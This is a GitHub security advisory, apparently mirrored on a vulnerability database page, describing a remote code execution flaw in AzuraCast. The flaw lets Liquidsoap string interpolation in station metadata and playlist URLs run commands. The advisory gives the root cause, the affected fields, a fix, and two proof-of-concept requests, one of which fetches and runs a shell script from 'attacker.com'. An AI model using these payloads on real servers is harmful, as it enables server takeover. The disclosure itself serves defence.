GHSA-93FX-5QGC-WR38

Vulnerability from github – Published: 2026-03-09 19:55 – Updated: 2026-03-09 19:55
VLAI?
Summary
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Details

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter: - #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings) - \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

Field Permission Required Config Line
playlist.remote_url Media input.http("...") or playlist("...")
station.name Profile name = "..."
station.description Profile description = "..."
station.genre Profile genre = "..."
station.url Profile url = "..."
backend_config.live_broadcast_text Profile settings.azuracast.live_broadcast_text := "..."
backend_config.dj_mount_point Profile input.harbor("...")

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during: - Normal station restart by any user with Broadcasting permission - System updates and maintenance - azuracast:radio:restart CLI command - Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:55:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAzuraCast\u0027s `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap\u0027s `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace([\u0027\"\u0027, \"\\n\", \"\\r\"], [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027], $string ?? \u0027\u0027);\n}\n```\n\nThis function only replaces `\"` with `\u0027` and strips newlines. It does **NOT** filter:\n- `#{...}` \u2014 Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` \u2014 Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run(\u0027id \u003e /tmp/pwned\u0027)` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_PROFILE_PERMISSION\u003e\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required \u2014 any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        [\u0027\"\u0027, \"\\n\", \"\\r\", \u0027\\\\\u0027, \u0027#\u0027],\n        [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\\\\\\\\\u0027, \u0027\\\\#\u0027],\n        $string ?? \u0027\u0027\n    );\n}\n```",
  "id": "GHSA-93fx-5qgc-wr38",
  "modified": "2026-03-09T19:55:00Z",
  "published": "2026-03-09T19:55:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…